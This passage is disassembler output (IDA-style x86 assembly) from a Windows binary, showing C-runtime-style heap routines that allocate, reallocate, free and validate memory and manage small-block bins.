		mov	ebp, esp
		sub	esp, 8
		cmp	[ebp+arg_4], 0FFFFFFE0h
		jbe	short loc_421C73
		xor	eax, eax
		jmp	loc_421D09
; ---------------------------------------------------------------------------


loc_421C73:				; CODE XREF: sub_421C60+Aj
		push	9
		call	sub_421A80
		add	esp, 4
		mov	eax, [ebp+arg_0]
		push	eax
		call	sub_422180
		add	esp, 4
		mov	[ebp+var_8], eax
		cmp	[ebp+var_8], 0
		jz	short loc_421CD1
		mov	[ebp+var_4], 0
		mov	ecx, [ebp+arg_4]
		cmp	ecx, ds:dword_44FE28
		ja	short loc_421CC2
		mov	edx, [ebp+arg_4]
		push	edx
		mov	eax, [ebp+arg_0]
		push	eax
		mov	ecx, [ebp+var_8]
		push	ecx
		call	sub_423050
		add	esp, 0Ch
		test	eax, eax
		jz	short loc_421CC2
		mov	edx, [ebp+arg_0]
		mov	[ebp+var_4], edx


loc_421CC2:				; CODE XREF: sub_421C60+42j
					; sub_421C60+5Aj
		push	9
		call	sub_421B20
		add	esp, 4
		mov	eax, [ebp+var_4]
		jmp	short loc_421D09
; ---------------------------------------------------------------------------


loc_421CD1:				; CODE XREF: sub_421C60+30j
		push	9
		call	sub_421B20
		add	esp, 4
		cmp	[ebp+arg_4], 0
		jnz	short loc_421CE8
		mov	[ebp+arg_4], 1


loc_421CE8:				; CODE XREF: sub_421C60+7Fj
		mov	eax, [ebp+arg_4]
		add	eax, 0Fh
		and	al, 0F0h
		mov	[ebp+arg_4], eax
		mov	ecx, [ebp+arg_4]
		push	ecx
		mov	edx, [ebp+arg_0]
		push	edx
		push	10h
		mov	eax, ds:dword_4EF060
		push	eax
		call	ds:dword_4F1450	; RtlReAllocateHeap


loc_421D09:				; CODE XREF: sub_421C60+Ej
					; sub_421C60+6Fj
		mov	esp, ebp
		pop	ebp
		retn
sub_421C60	endp

; ---------------------------------------------------------------------------
		align 10h

; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_421D10	proc near		; CODE XREF: sub_41B330+2AFp

var_14		= dword	ptr -14h
var_10		= dword	ptr -10h
var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch

		push	ebp
		mov	ebp, esp
		sub	esp, 14h
		cmp	[ebp+arg_0], 0
		jnz	short loc_421D2D
		mov	eax, [ebp+arg_4]
		push	eax
		call	sub_421B60
		add	esp, 4
		jmp	loc_421EF6
; ---------------------------------------------------------------------------


loc_421D2D:				; CODE XREF: sub_421D10+Aj
		cmp	[ebp+arg_4], 0
		jnz	short loc_421D46
		mov	ecx, [ebp+arg_0]
		push	ecx
		call	sub_421F00
		add	esp, 4
		xor	eax, eax
		jmp	loc_421EF6
; ---------------------------------------------------------------------------


loc_421D46:				; CODE XREF: sub_421D10+21j
					; sub_421D10:loc_421EF1j
		mov	[ebp+var_8], 0
		cmp	[ebp+arg_4], 0FFFFFFE0h
		ja	loc_421EC9
		push	9
		call	sub_421A80
		add	esp, 4
		mov	edx, [ebp+arg_0]
		push	edx
		call	sub_422180
		add	esp, 4
		mov	[ebp+var_C], eax
		cmp	[ebp+var_C], 0
		jz	loc_421E8C
		mov	eax, [ebp+arg_4]
		cmp	eax, ds:dword_44FE28
		ja	short loc_421E00
		mov	ecx, [ebp+arg_4]
		push	ecx
		mov	edx, [ebp+arg_0]
		push	edx
		mov	eax, [ebp+var_C]
		push	eax
		call	sub_423050
		add	esp, 0Ch
		test	eax, eax
		jz	short loc_421DA5
		mov	ecx, [ebp+arg_0]
		mov	[ebp+var_8], ecx
		jmp	short loc_421E00
; ---------------------------------------------------------------------------


loc_421DA5:				; CODE XREF: sub_421D10+8Bj
		mov	edx, [ebp+arg_4]
		push	edx
		call	sub_422810
		add	esp, 4
		mov	[ebp+var_8], eax
		cmp	[ebp+var_8], 0
		jz	short loc_421E00
		mov	eax, [ebp+arg_0]
		mov	ecx, [eax-4]
		sub	ecx, 1
		mov	[ebp+var_4], ecx
		mov	edx, [ebp+var_4]
		cmp	edx, [ebp+arg_4]
		jnb	short loc_421DD6
		mov	eax, [ebp+var_4]
		mov	[ebp+var_10], eax
		jmp	short loc_421DDC
; ---------------------------------------------------------------------------


loc_421DD6:				; CODE XREF: sub_421D10+BCj
		mov	ecx, [ebp+arg_4]
		mov	[ebp+var_10], ecx


loc_421DDC:				; CODE XREF: sub_421D10+C4j
		mov	edx, [ebp+var_10]
		push	edx
		mov	eax, [ebp+arg_0]
		push	eax
		mov	ecx, [ebp+var_8]
		push	ecx
		call	sub_41E840
		add	esp, 0Ch
		mov	edx, [ebp+arg_0]
		push	edx
		mov	eax, [ebp+var_C]
		push	eax
		call	sub_422240
		add	esp, 8


loc_421E00:				; CODE XREF: sub_421D10+73j
					; sub_421D10+93j ...
		cmp	[ebp+var_8], 0
		jnz	short loc_421E80
		cmp	[ebp+arg_4], 0
		jnz	short loc_421E13
		mov	[ebp+arg_4], 1


loc_421E13:				; CODE XREF: sub_421D10+FAj
		mov	ecx, [ebp+arg_4]
		add	ecx, 0Fh
		and	ecx, 0FFFFFFF0h
		mov	[ebp+arg_4], ecx
		mov	edx, [ebp+arg_4]
		push	edx
		push	0
		mov	eax, ds:dword_4EF060
		push	eax
		call	ds:dword_4F144C	; RtlAllocateHeap
		mov	[ebp+var_8], eax
		cmp	[ebp+var_8], 0
		jz	short loc_421E80
		mov	ecx, [ebp+arg_0]
		mov	edx, [ecx-4]
		sub	edx, 1
		mov	[ebp+var_4], edx
		mov	eax, [ebp+var_4]
		cmp	eax, [ebp+arg_4]
		jnb	short loc_421E56
		mov	ecx, [ebp+var_4]
		mov	[ebp+var_14], ecx
		jmp	short loc_421E5C
; ---------------------------------------------------------------------------


loc_421E56:				; CODE XREF: sub_421D10+13Cj
		mov	edx, [ebp+arg_4]
		mov	[ebp+var_14], edx


loc_421E5C:				; CODE XREF: sub_421D10+144j
		mov	eax, [ebp+var_14]
		push	eax
		mov	ecx, [ebp+arg_0]
		push	ecx
		mov	edx, [ebp+var_8]
		push	edx
		call	sub_41E840
		add	esp, 0Ch
		mov	eax, [ebp+arg_0]
		push	eax
		mov	ecx, [ebp+var_C]
		push	ecx
		call	sub_422240
		add	esp, 8


loc_421E80:				; CODE XREF: sub_421D10+F4j
					; sub_421D10+128j
		push	9
		call	sub_421B20
		add	esp, 4
		jmp	short loc_421EC9
; ---------------------------------------------------------------------------


loc_421E8C:				; CODE XREF: sub_421D10+64j
		push	9
		call	sub_421B20
		add	esp, 4
		cmp	[ebp+arg_4], 0
		jnz	short loc_421EA3
		mov	[ebp+arg_4], 1


loc_421EA3:				; CODE XREF: sub_421D10+18Aj
		mov	edx, [ebp+arg_4]
		add	edx, 0Fh
		and	edx, 0FFFFFFF0h
		mov	[ebp+arg_4], edx
		mov	eax, [ebp+arg_4]
		push	eax
		mov	ecx, [ebp+arg_0]
		push	ecx
		push	0
		mov	edx, ds:dword_4EF060
		push	edx
		call	ds:dword_4F1450	; RtlReAllocateHeap
		mov	[ebp+var_8], eax


loc_421EC9:				; CODE XREF: sub_421D10+41j
					; sub_421D10+17Aj
		cmp	[ebp+var_8], 0
		jnz	short loc_421ED8
		cmp	ds:dword_4EE9E4, 0
		jnz	short loc_421EDD


loc_421ED8:				; CODE XREF: sub_421D10+1BDj
		mov	eax, [ebp+var_8]
		jmp	short loc_421EF6
; ---------------------------------------------------------------------------


loc_421EDD:				; CODE XREF: sub_421D10+1C6j
		mov	eax, [ebp+arg_4]
		push	eax
		call	sub_421970
		add	esp, 4
		test	eax, eax
		jnz	short loc_421EF1
		xor	eax, eax
		jmp	short loc_421EF6
; ---------------------------------------------------------------------------


loc_421EF1:				; CODE XREF: sub_421D10+1DBj
		jmp	loc_421D46
; ---------------------------------------------------------------------------


loc_421EF6:				; CODE XREF: sub_421D10+18j
					; sub_421D10+31j ...
		mov	esp, ebp
		pop	ebp
		retn
sub_421D10	endp

; ---------------------------------------------------------------------------
		align 10h

; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_421F00	proc near		; CODE XREF: sub_41B920+26Ep
					; sub_41B920+3B2p ...

var_4		= dword	ptr -4
arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		push	ecx
		cmp	[ebp+arg_0], 0
		jnz	short loc_421F0C
		jmp	short loc_421F64
; ---------------------------------------------------------------------------


loc_421F0C:				; CODE XREF: sub_421F00+8j
		push	9
		call	sub_421A80
		add	esp, 4
		mov	eax, [ebp+arg_0]
		push	eax
		call	sub_422180
		add	esp, 4
		mov	[ebp+var_4], eax
		cmp	[ebp+var_4], 0
		jz	short loc_421F47
		mov	ecx, [ebp+arg_0]
		push	ecx
		mov	edx, [ebp+var_4]
		push	edx
		call	sub_422240
		add	esp, 8
		push	9
		call	sub_421B20
		add	esp, 4
		jmp	short loc_421F64
; ---------------------------------------------------------------------------


loc_421F47:				; CODE XREF: sub_421F00+29j
		push	9
		call	sub_421B20
		add	esp, 4
		mov	eax, [ebp+arg_0]
		push	eax
		push	0
		mov	ecx, ds:dword_4EF060
		push	ecx
		call	ds:dword_4F1454	; RtlFreeHeap


loc_421F64:				; CODE XREF: sub_421F00+Aj
					; sub_421F00+45j
		mov	esp, ebp
		pop	ebp
		retn
sub_421F00	endp

; ---------------------------------------------------------------------------
		align 10h

; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_421F70	proc near		; CODE XREF: sub_41C000+30p
					; seg000:00421FF3p

var_4		= dword	ptr -4

		push	ebp
		mov	ebp, esp
		push	ecx
		mov	[ebp+var_4], 0FFFFFFFEh
		push	9
		call	sub_421A80
		add	esp, 4
		call	sub_423770
		test	eax, eax
		jge	short loc_421F95
		mov	[ebp+var_4], 0FFFFFFFCh


loc_421F95:				; CODE XREF: sub_421F70+1Cj
		push	9
		call	sub_421B20
		add	esp, 4
		push	0
		push	0
		mov	eax, ds:dword_4EF060
		push	eax
		call	ds:dword_4F1414	; HeapValidate
		test	eax, eax
		jnz	short loc_421FDD
		call	ds:dword_4F1310	; RtlGetLastWin32Error
		cmp	eax, 78h
		jnz	short loc_421FD6
		call	sub_4267F0
		mov	dword ptr [eax], 78h
		call	sub_4267E0
		mov	dword ptr [eax], 28h
		jmp	short loc_421FDD
; ---------------------------------------------------------------------------


loc_421FD6:				; CODE XREF: sub_421F70+4Cj
		mov	[ebp+var_4], 0FFFFFFFCh


loc_421FDD:				; CODE XREF: sub_421F70+41j
					; sub_421F70+64j
		mov	eax, [ebp+var_4]
		mov	esp, ebp
		pop	ebp
		retn
sub_421F70	endp

; ---------------------------------------------------------------------------
		align 10h
		push	ebp
		mov	ebp, esp
		call	sub_421F70
		pop	ebp
		retn
; ---------------------------------------------------------------------------
		align 10h

; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_422000	proc near		; CODE XREF: seg000:00420BAEp

arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		push	0
		push	1000h
		xor	eax, eax
		cmp	[ebp+arg_0], 0
		setz	al
		push	eax
		call	ds:dword_4F145C	; HeapCreate
		mov	ds:dword_4EF060, eax
		cmp	ds:dword_4EF060, 0
		jnz	short loc_42202C
		xor	eax, eax
		jmp	short loc_42204B
; ---------------------------------------------------------------------------


loc_42202C:				; CODE XREF: sub_422000+26j
		call	sub_422120
		test	eax, eax
		jnz	short loc_422046
		mov	ecx, ds:dword_4EF060
		push	ecx
		call	ds:dword_4F1458	; HeapDestroy
		xor	eax, eax
		jmp	short loc_42204B
; ---------------------------------------------------------------------------


loc_422046:				; CODE XREF: sub_422000+33j
		mov	eax, 1


loc_42204B:				; CODE XREF: sub_422000+2Aj
					; sub_422000+44j
		pop	ebp
		retn
sub_422000	endp

; ---------------------------------------------------------------------------
		align 10h
		push	ebp
		mov	ebp, esp
		sub	esp, 8
		mov	eax, ds:dword_4EF05C
		mov	[ebp-8], eax
		mov	dword ptr [ebp-4], 0
		jmp	short loc_422070
; ---------------------------------------------------------------------------


loc_422067:				; CODE XREF: seg000:004220C4j
		mov	ecx, [ebp-4]
		add	ecx, 1
		mov	[ebp-4], ecx


loc_422070:				; CODE XREF: seg000:00422065j
		mov	edx, [ebp-4]
		cmp	edx, ds:dword_4EF058
		jge	short loc_4220C6
		push	4000h
		push	100000h
		mov	eax, [ebp-8]
		mov	ecx, [eax+0Ch]
		push	ecx
		call	ds:dword_4F1460	; VirtualFree
		push	8000h
		push	0
		mov	edx, [ebp-8]
		mov	eax, [edx+0Ch]
		push	eax
		call	ds:dword_4F1460	; VirtualFree
		mov	ecx, [ebp-8]
		mov	edx, [ecx+10h]
		push	edx
		push	0
		mov	eax, ds:dword_4EF060
		push	eax
		call	ds:dword_4F1454	; RtlFreeHeap
		mov	ecx, [ebp-8]
		add	ecx, 14h
		mov	[ebp-8], ecx
		jmp	short loc_422067
; ---------------------------------------------------------------------------


loc_4220C6:				; CODE XREF: seg000:00422079j
		mov	edx, ds:dword_4EF05C
		push	edx
		push	0
		mov	eax, ds:dword_4EF060
		push	eax
		call	ds:dword_4F1454	; RtlFreeHeap
		mov	ecx, ds:dword_4EF060
		push	ecx
		call	ds:dword_4F1458	; HeapDestroy
		mov	esp, ebp
		pop	ebp
		retn
; ---------------------------------------------------------------------------
		align 10h
		push	ebp
		mov	ebp, esp
		mov	eax, ds:dword_44FE28
		pop	ebp
		retn
; ---------------------------------------------------------------------------
		align 10h
		push	ebp
		mov	ebp, esp
		cmp	dword ptr [ebp+8], 3F8h
		jbe	short loc_422110
		xor	eax, eax
		jmp	short loc_42211D
; ---------------------------------------------------------------------------


loc_422110:				; CODE XREF: seg000:0042210Aj
		mov	eax, [ebp+8]
		mov	ds:dword_44FE28, eax
		mov	eax, 1


loc_42211D:				; CODE XREF: seg000:0042210Ej
		pop	ebp
		retn
; ---------------------------------------------------------------------------
		align 10h

; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_422120	proc near		; CODE XREF: sub_422000:loc_42202Cp
		push	ebp
		mov	ebp, esp
		push	140h
		push	0
		mov	eax, ds:dword_4EF060
		push	eax
		call	ds:dword_4F144C	; RtlAllocateHeap
		mov	ds:dword_4EF05C, eax
		cmp	ds:dword_4EF05C, 0
		jnz	short loc_422148
		xor	eax, eax
		jmp	short loc_422177
; ---------------------------------------------------------------------------


loc_422148:				; CODE XREF: sub_422120+22j
		mov	ecx, ds:dword_4EF05C
		mov	ds:dword_4EF050, ecx
		mov	ds:dword_4EF054, 0
		mov	ds:dword_4EF058, 0
		mov	ds:dword_4EF048, 10h
		mov	eax, 1


loc_422177:				; CODE XREF: sub_422120+26j
		pop	ebp
		retn
sub_422120	endp

; ---------------------------------------------------------------------------
		align 10h

; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_422180	proc near		; CODE XREF: sub_41C460+30p
					; sub_421C60+21p ...

var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		sub	esp, 0Ch
		mov	eax, ds:dword_4EF058
		imul	eax, 14h
		mov	ecx, ds:dword_4EF05C
		add	ecx, eax
		mov	[ebp+var_C], ecx
		mov	edx, ds:dword_4EF05C
		mov	[ebp+var_8], edx


loc_4221A2:				; CODE XREF: sub_422180+4Dj
		mov	eax, [ebp+var_8]
		cmp	eax, [ebp+var_C]
		jnb	short loc_4221CF
		mov	ecx, [ebp+var_8]
		mov	edx, [ebp+arg_0]
		sub	edx, [ecx+0Ch]
		mov	[ebp+var_4], edx
		cmp	[ebp+var_4], 100000h
		jnb	short loc_4221C4
		mov	eax, [ebp+var_8]
		jmp	short loc_4221D1
; ---------------------------------------------------------------------------


loc_4221C4:				; CODE XREF: sub_422180+3Dj
		mov	eax, [ebp+var_8]
		add	eax, 14h
		mov	[ebp+var_8], eax
		jmp	short loc_4221A2
; ---------------------------------------------------------------------------


loc_4221CF:				; CODE XREF: sub_422180+28j
		xor	eax, eax


loc_4221D1:				; CODE XREF: sub_422180+42j
		mov	esp, ebp
		pop	ebp
		retn
sub_422180	endp

; ---------------------------------------------------------------------------
		align 10h

; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_4221E0	proc near		; CODE XREF: sub_41C460+4Cp

var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch

		push	ebp
		mov	ebp, esp
		sub	esp, 0Ch
		mov	eax, [ebp+arg_0]
		mov	ecx, [ebp+arg_4]
		sub	ecx, [eax+0Ch]
		mov	[ebp+var_8], ecx
		mov	edx, [ebp+var_8]
		shr	edx, 0Fh
		mov	[ebp+var_4], edx
		mov	eax, 80000000h
		mov	ecx, [ebp+var_4]
		shr	eax, cl
		mov	ecx, [ebp+arg_0]
		mov	edx, [ecx+8]
		and	edx, eax
		test	edx, edx
		jnz	short loc_422231
		mov	eax, [ebp+var_8]
		and	eax, 0Fh
		test	eax, eax
		jnz	short loc_422231
		mov	ecx, [ebp+var_8]
		and	ecx, 0FFFh
		test	ecx, ecx
		jz	short loc_422231
		mov	[ebp+var_C], 1
		jmp	short loc_422238
; ---------------------------------------------------------------------------


loc_422231:				; CODE XREF: sub_4221E0+2Fj
					; sub_4221E0+39j ...
		mov	[ebp+var_C], 0


loc_422238:				; CODE XREF: sub_4221E0+4Fj
		mov	eax, [ebp+var_C]
		mov	esp, ebp
		pop	ebp
		retn
sub_4221E0	endp

; ---------------------------------------------------------------------------
		align 10h

; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_422240	proc near		; CODE XREF: sub_421D10+E8p
					; sub_421D10+168p ...

var_3C		= dword	ptr -3Ch
var_38		= dword	ptr -38h
var_34		= dword	ptr -34h
var_30		= dword	ptr -30h
var_2C		= dword	ptr -2Ch
var_28		= dword	ptr -28h
var_24		= dword	ptr -24h
var_20		= dword	ptr -20h
var_1C		= dword	ptr -1Ch
var_18		= dword	ptr -18h
var_14		= dword	ptr -14h
var_10		= dword	ptr -10h
var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch

		push	ebp
		mov	ebp, esp
		sub	esp, 3Ch
		mov	eax, [ebp+arg_0]
		mov	ecx, [eax+10h]
		mov	[ebp+var_3C], ecx
		mov	edx, [ebp+arg_0]
		mov	eax, [ebp+arg_4]
		sub	eax, [edx+0Ch]
		mov	[ebp+var_10], eax
		mov	ecx, [ebp+var_10]
		shr	ecx, 0Fh
		mov	[ebp+var_4], ecx
		mov	edx, [ebp+var_4]
		imul	edx, 204h
		mov	eax, [ebp+var_3C]
		lea	ecx, [eax+edx+144h]
		mov	[ebp+var_8], ecx
		mov	edx, [ebp+arg_4]
		sub	edx, 4
		mov	[ebp+var_1C], edx
		mov	eax, [ebp+var_1C]
		mov	ecx, [eax]
		sub	ecx, 1
		mov	[ebp+var_30], ecx
		mov	edx, [ebp+var_1C]
		add	edx, [ebp+var_30]
		mov	[ebp+var_38], edx
		mov	eax, [ebp+var_38]
		mov	ecx, [eax]
		mov	[ebp+var_14], ecx
		mov	edx, [ebp+var_1C]
		mov	eax, [edx-4]
		mov	[ebp+var_C], eax
		mov	ecx, [ebp+var_14]
		and	ecx, 1
		test	ecx, ecx
		jnz	loc_4223D8
		mov	edx, [ebp+var_14]
		sar	edx, 4
		sub	edx, 1
		mov	[ebp+var_24], edx
		cmp	[ebp+var_24], 3Fh
		jbe	short loc_4222CF
		mov	[ebp+var_24], 3Fh


loc_4222CF:				; CODE XREF: sub_422240+86j
		mov	eax, [ebp+var_38]
		mov	ecx, [ebp+var_38]
		mov	edx, [eax+4]
		cmp	edx, [ecx+8]
		jnz	loc_4223B1
		cmp	[ebp+var_24], 20h
		jnb	short loc_422346
		mov	eax, 80000000h
		mov	ecx, [ebp+var_24]
		shr	eax, cl
		not	eax
		mov	ecx, [ebp+var_4]
		mov	edx, [ebp+var_3C]
		mov	ecx, [edx+ecx*4+44h]
		and	ecx, eax
		mov	edx, [ebp+var_4]
		mov	eax, [ebp+var_3C]
		mov	[eax+edx*4+44h], ecx
		mov	ecx, [ebp+var_3C]
		add	ecx, [ebp+var_24]
		mov	dl, [ecx+4]
		sub	dl, 1
		mov	eax, [ebp+var_3C]
		add	eax, [ebp+var_24]
		mov	[eax+4], dl
		mov	ecx, [ebp+var_3C]
		add	ecx, [ebp+var_24]
		movsx	edx, byte ptr [ecx+4]
		test	edx, edx
		jnz	short loc_422344
		mov	eax, 80000000h
		mov	ecx, [ebp+var_24]
		shr	eax, cl
		not	eax
		mov	ecx, [ebp+arg_0]
		mov	edx, [ecx]
		and	edx, eax
		mov	eax, [ebp+arg_0]
		mov	[eax], edx


loc_422344:				; CODE XREF: sub_422240+EAj
		jmp	short loc_4223B1
; ---------------------------------------------------------------------------


loc_422346:				; CODE XREF: sub_422240+A5j
		mov	ecx, [ebp+var_24]
		sub	ecx, 20h
		mov	edx, 80000000h
		shr	edx, cl
		not	edx
		mov	eax, [ebp+var_4]
		mov	ecx, [ebp+var_3C]
		mov	eax, [ecx+eax*4+0C4h]
		and	eax, edx
		mov	ecx, [ebp+var_4]
		mov	edx, [ebp+var_3C]
		mov	[edx+ecx*4+0C4h], eax
		mov	eax, [ebp+var_3C]
		add	eax, [ebp+var_24]
		mov	cl, [eax+4]
		sub	cl, 1
		mov	edx, [ebp+var_3C]
		add	edx, [ebp+var_24]
		mov	[edx+4], cl
		mov	eax, [ebp+var_3C]
		add	eax, [ebp+var_24]
		movsx	ecx, byte ptr [eax+4]
		test	ecx, ecx
		jnz	short loc_4223B1
		mov	ecx, [ebp+var_24]
		sub	ecx, 20h
		mov	edx, 80000000h
		shr	edx, cl
		not	edx
		mov	eax, [ebp+arg_0]
		mov	ecx, [eax+4]
		and	ecx, edx
		mov	edx, [ebp+arg_0]
		mov	[edx+4], ecx


loc_4223B1:				; CODE XREF: sub_422240+9Bj
					; sub_422240:loc_422344j ...
		mov	eax, [ebp+var_38]
		mov	ecx, [eax+8]
		mov	edx, [ebp+var_38]
		mov	eax, [edx+4]
		mov	[ecx+4], eax
		mov	ecx, [ebp+var_38]
		mov	edx, [ecx+4]
		mov	eax, [ebp+var_38]
		mov	ecx, [eax+8]
		mov	[edx+8], ecx
		mov	edx, [ebp+var_30]
		add	edx, [ebp+var_14]
		mov	[ebp+var_30], edx


loc_4223D8:				; CODE XREF: sub_422240+70j
		mov	eax, [ebp+var_30]
		sar	eax, 4
		sub	eax, 1
		mov	[ebp+var_28], eax
		cmp	[ebp+var_28], 3Fh
		jbe	short loc_4223F1
		mov	[ebp+var_28], 3Fh


loc_4223F1:				; CODE XREF: sub_422240+1A8j
		mov	ecx, [ebp+var_C]
		and	ecx, 1
		test	ecx, ecx
		jnz	loc_422555
		mov	edx, [ebp+var_1C]
		sub	edx, [ebp+var_C]
		mov	[ebp+var_34], edx
		mov	eax, [ebp+var_C]
		sar	eax, 4
		sub	eax, 1
		mov	[ebp+var_2C], eax
		cmp	[ebp+var_2C], 3Fh
		jbe	short loc_422421
		mov	[ebp+var_2C], 3Fh


loc_422421:				; CODE XREF: sub_422240+1D8j
		mov	ecx, [ebp+var_30]
		add	ecx, [ebp+var_C]
		mov	[ebp+var_30], ecx
		mov	edx, [ebp+var_30]
		sar	edx, 4
		sub	edx, 1
		mov	[ebp+var_28], edx
		cmp	[ebp+var_28], 3Fh
		jbe	short loc_422443
		mov	[ebp+var_28], 3Fh


loc_422443:				; CODE XREF: sub_422240+1FAj
		mov	eax, [ebp+var_2C]
		cmp	eax, [ebp+var_28]
		jz	loc_42254F
		mov	ecx, [ebp+var_34]
		mov	edx, [ebp+var_34]
		mov	eax, [ecx+4]
		cmp	eax, [edx+8]
		jnz	loc_422531
		cmp	[ebp+var_2C], 20h
		jnb	short loc_4224C6
		mov	edx, 80000000h
		mov	ecx, [ebp+var_2C]
		shr	edx, cl
		not	edx
		mov	eax, [ebp+var_4]
		mov	ecx, [ebp+var_3C]
		mov	eax, [ecx+eax*4+44h]
		and	eax, edx
		mov	ecx, [ebp+var_4]
		mov	edx, [ebp+var_3C]
		mov	[edx+ecx*4+44h], eax
		mov	eax, [ebp+var_3C]
		add	eax, [ebp+var_2C]
		mov	cl, [eax+4]
		sub	cl, 1
		mov	edx, [ebp+var_3C]
		add	edx, [ebp+var_2C]
		mov	[edx+4], cl
		mov	eax, [ebp+var_3C]
		add	eax, [ebp+var_2C]
		movsx	ecx, byte ptr [eax+4]
		test	ecx, ecx
		jnz	short loc_4224C4
		mov	edx, 80000000h
		mov	ecx, [ebp+var_2C]
		shr	edx, cl
		not	edx
		mov	eax, [ebp+arg_0]
		mov	ecx, [eax]
		and	ecx, edx
		mov	edx, [ebp+arg_0]
		mov	[edx], ecx


loc_4224C4:				; CODE XREF: sub_422240+26Aj
		jmp	short loc_422531
; ---------------------------------------------------------------------------


loc_4224C6:				; CODE XREF: sub_422240+225j
		mov	ecx, [ebp+var_2C]
		sub	ecx, 20h
		mov	eax, 80000000h
		shr	eax, cl
		not	eax
		mov	ecx, [ebp+var_4]
		mov	edx, [ebp+var_3C]
		mov	ecx, [edx+ecx*4+0C4h]
		and	ecx, eax
		mov	edx, [ebp+var_4]
		mov	eax, [ebp+var_3C]
		mov	[eax+edx*4+0C4h], ecx
		mov	ecx, [ebp+var_3C]
		add	ecx, [ebp+var_2C]
		mov	dl, [ecx+4]
		sub	dl, 1
		mov	eax, [ebp+var_3C]
		add	eax, [ebp+var_2C]
		mov	[eax+4], dl
		mov	ecx, [ebp+var_3C]
		add	ecx, [ebp+var_2C]
		movsx	edx, byte ptr [ecx+4]
		test	edx, edx
		jnz	short loc_422531
		mov	ecx, [ebp+var_2C]
		sub	ecx, 20h
		mov	eax, 80000000h
		shr	eax, cl
		not	eax
		mov	ecx, [ebp+arg_0]
		mov	edx, [ecx+4]
		and	edx, eax
		mov	eax, [ebp+arg_0]
		mov	[eax+4], edx


loc_422531:				; CODE XREF: sub_422240+21Bj
					; sub_422240:loc_4224C4j ...
		mov	ecx, [ebp+var_34]
		mov	edx, [ecx+8]
		mov	eax, [ebp+var_34]
		mov	ecx, [eax+4]
		mov	[edx+4], ecx
		mov	edx, [ebp+var_34]
		mov	eax, [edx+4]
		mov	ecx, [ebp+var_34]
		mov	edx, [ecx+8]
		mov	[eax+8], edx


loc_42254F:				; CODE XREF: sub_422240+209j
		mov	eax, [ebp+var_34]
		mov	[ebp+var_1C], eax


loc_422555:				; CODE XREF: sub_422240+1B9j
		mov	ecx, [ebp+var_C]
		and	ecx, 1
		test	ecx, ecx
		jnz	short loc_42256B
		mov	edx, [ebp+var_2C]
		cmp	edx, [ebp+var_28]
		jz	loc_42267B


loc_42256B:				; CODE XREF: sub_422240+31Dj
		mov	eax, [ebp+var_28]
		mov	ecx, [ebp+var_8]
		lea	edx, [ecx+eax*8]
		mov	[ebp+var_20], edx
		mov	eax, [ebp+var_1C]
		mov	ecx, [ebp+var_20]
		mov	edx, [ecx+4]
		mov	[eax+4], edx
		mov	eax, [ebp+var_1C]
		mov	ecx, [ebp+var_20]
		mov	[eax+8], ecx
		mov	edx, [ebp+var_20]
		mov	eax, [ebp+var_1C]
		mov	[edx+4], eax
		mov	ecx, [ebp+var_1C]
		mov	edx, [ecx+4]
		mov	eax, [ebp+var_1C]
		mov	[edx+8], eax
		mov	ecx, [ebp+var_1C]
		mov	edx, [ebp+var_1C]
		mov	eax, [ecx+4]
		cmp	eax, [edx+8]
		jnz	loc_42267B
		cmp	[ebp+var_28], 20h
		jnb	short loc_422614
		mov	ecx, [ebp+var_3C]
		add	ecx, [ebp+var_28]
		movsx	edx, byte ptr [ecx+4]
		mov	eax, [ebp+var_3C]
		add	eax, [ebp+var_28]
		mov	cl, [eax+4]
		add	cl, 1
		mov	eax, [ebp+var_3C]
		add	eax, [ebp+var_28]
		mov	[eax+4], cl
		test	edx, edx
		jnz	short loc_4225F2
		mov	edx, 80000000h
		mov	ecx, [ebp+var_28]
		shr	edx, cl
		mov	eax, [ebp+arg_0]
		mov	ecx, [eax]
		or	ecx, edx
		mov	edx, [ebp+arg_0]
		mov	[edx], ecx


loc_4225F2:				; CODE XREF: sub_422240+39Aj
		mov	eax, 80000000h
		mov	ecx, [ebp+var_28]
		shr	eax, cl
		mov	ecx, [ebp+var_4]
		mov	edx, [ebp+var_3C]
		mov	ecx, [edx+ecx*4+44h]
		or	ecx, eax
		mov	edx, [ebp+var_4]
		mov	eax, [ebp+var_3C]
		mov	[eax+edx*4+44h], ecx
		jmp	short loc_42267B
; ---------------------------------------------------------------------------


loc_422614:				; CODE XREF: sub_422240+377j
		mov	ecx, [ebp+var_3C]
		add	ecx, [ebp+var_28]
		movsx	edx, byte ptr [ecx+4]
		mov	eax, [ebp+var_3C]
		add	eax, [ebp+var_28]
		mov	cl, [eax+4]
		add	cl, 1
		mov	eax, [ebp+var_3C]
		add	eax, [ebp+var_28]
		mov	[eax+4], cl
		test	edx, edx
		jnz	short loc_422652
		mov	ecx, [ebp+var_28]
		sub	ecx, 20h
		mov	edx, 80000000h
		shr	edx, cl
		mov	eax, [ebp+arg_0]
		mov	ecx, [eax+4]
		or	ecx, edx
		mov	edx, [ebp+arg_0]
		mov	[edx+4], ecx


loc_422652:				; CODE XREF: sub_422240+3F5j
		mov	ecx, [ebp+var_28]
		sub	ecx, 20h
		mov	eax, 80000000h
		shr	eax, cl
		mov	ecx, [ebp+var_4]
		mov	edx, [ebp+var_3C]
		mov	ecx, [edx+ecx*4+0C4h]
		or	ecx, eax
		mov	edx, [ebp+var_4]
		mov	eax, [ebp+var_3C]
		mov	[eax+edx*4+0C4h], ecx


